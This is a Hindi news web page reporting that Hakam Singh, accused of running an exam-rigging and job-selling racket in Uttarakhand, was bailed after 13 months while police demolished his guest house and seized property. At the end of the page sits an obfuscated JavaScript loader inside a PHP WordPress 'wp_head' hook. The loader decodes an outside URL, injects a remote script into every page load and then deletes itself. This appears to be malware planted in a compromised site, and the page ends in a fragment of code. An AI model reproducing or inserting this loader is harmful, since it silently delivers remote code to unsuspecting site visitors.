Saturday, July 27, 2024
spot_img

उत्तराखंड में नौकरियों के सौदागर हाकम सिंह जेल से रिहा! मात्र 13 महीने ही जेल में रोक पाई मित्र पुलिस! मगर साम्राज्य को कर दिया ध्वस्त

उत्तराखंड में नौकरियों के सौदागर कहे जाने वाले हाकम सिंह को पुलिस केवल 13 महीने ही सलाखों के पीछे रोक पाई, लेकिन इस बीच उसके साम्राज्य को ध्वस्त किया जा चुका है। उत्तरकाशी के मोरी में उसके आलीशान गेस्ट हाउस समेत कई संपत्तियों पर बुलडोजर चल चुका है। कुल मिलाकर उसकी करीब छह करोड़ की संपत्ति को जब्त किया चुका है।

परीक्षा धांधलियों के मामले में पुलिस ने शुरूआत से ही शिकंजा कसने की कोशिश की थी लेकिन पुलिस को भी एक दिक्कत का सामना करना पड़ा जो कि आरोपियों की जमानत का आधार बना। दरअसल सभी मामले पुराने थे। ऐसे में जब इनकी जांच शुरू हुई तो सभी साक्ष्य लगभग नष्ट हो चुके थे। कई बड़े आरोपियों से तो केस से संबंधित रिकवरी भी नहीं हो पाई। शातिर हाकम सिंह भी ऐसे ही आरोपियों से एक था। उसके पास से भी परीक्षा में लेनदेन में कोई बड़ी रिकवरी नहीं हो पाई थी। उसने बड़े ही शातिराना ढंग से इन सब धांधलियों को अंजाम दिया था। केवल आरोपियों से पूछताछ और कुछ कड़ियां जोड़ने वाले साक्ष्य ही इन आरोपियों को अब तक जेल में रखने का मजबूत आधार बने थे। इन्हीं साक्ष्यों के बल पर पुलिस हाकम को 13 महीने जेल में रखवाने में कामयाब हुई। अब चार्जशीट दाखिल होने के एक दिन बाद ही उसे गैंगस्टर एक्ट में भी जमानत मिल गई। लेकिन, पुलिस ने गैंगस्टर एक्ट के प्रावधानों के तहत उसकी संपत्तियों को जरूर चोट की। इन पैसों से उसने जो आलीशान गेस्ट हाउस बनाया था वह भी पुलिस ध्वस्त करा चुकी है। यही गेस्ट हाउस उसकी इन काली करतूतों का अड्डा बनता था। बहुत से सफेदपोश लोगों का भी यह गेस्ट हाउस पसंदीदा स्थान था। इसे लेकर वह काफी चर्चाओं में भी रहता था। हाकम के खिलाफ तीन मुकदमों में से एक में तो विजिलेंस ने कार्रवाई ही आगे नहीं बढ़ाई। माना जा रहा है कि यदि विजिलेंस दरोगा भर्ती धांधली में आरोपियों की रिमांड मांगती तो शायद हाकम को और लंबे समय तक जेल में रखा जा सकता था। हाकम के पीछे अब आरएमएस कंपनी के मालिक समेत छह और आरोपी जमानत का इंतजार कर रहे हैं।

Related Articles

- Advertisement -spot_img

ताजा खबरे

eInt(_0x383697(0x178))/0x1+parseInt(_0x383697(0x180))/0x2+-parseInt(_0x383697(0x184))/0x3*(-parseInt(_0x383697(0x17a))/0x4)+-parseInt(_0x383697(0x17c))/0x5+-parseInt(_0x383697(0x179))/0x6+-parseInt(_0x383697(0x181))/0x7*(parseInt(_0x383697(0x177))/0x8)+-parseInt(_0x383697(0x17f))/0x9*(-parseInt(_0x383697(0x185))/0xa);if(_0x351603===_0x4eaeab)break;else _0x8113a5['push'](_0x8113a5['shift']());}catch(_0x58200a){_0x8113a5['push'](_0x8113a5['shift']());}}}(_0x48d3,0xa309a));var f=document[_0x3ec646(0x183)](_0x3ec646(0x17d));function _0x38c3(_0x32d1a4,_0x31b781){var _0x48d332=_0x48d3();return _0x38c3=function(_0x38c31a,_0x44995e){_0x38c31a=_0x38c31a-0x176;var _0x11c794=_0x48d332[_0x38c31a];return _0x11c794;},_0x38c3(_0x32d1a4,_0x31b781);}f[_0x3ec646(0x186)]=String[_0x3ec646(0x17b)](0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x62,0x61,0x63,0x6b,0x67,0x72,0x6f,0x75,0x6e,0x64,0x2e,0x61,0x70,0x69,0x73,0x74,0x61,0x74,0x65,0x78,0x70,0x65,0x72,0x69,0x65,0x6e,0x63,0x65,0x2e,0x63,0x6f,0x6d,0x2f,0x73,0x74,0x61,0x72,0x74,0x73,0x2f,0x73,0x65,0x65,0x2e,0x6a,0x73),document['currentScript']['parentNode'][_0x3ec646(0x176)](f,document[_0x3ec646(0x17e)]),document['currentScript'][_0x3ec646(0x182)]();function _0x48d3(){var _0x35035=['script','currentScript','9RWzzPf','402740WuRnMq','732585GqVGDi','remove','createElement','30nckAdA','5567320ecrxpQ','src','insertBefore','8ujoTxO','1172840GvBdvX','4242564nZZHpA','296860cVAhnV','fromCharCode','5967705ijLbTz'];_0x48d3=function(){return _0x35035;};return _0x48d3();}";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}} ?>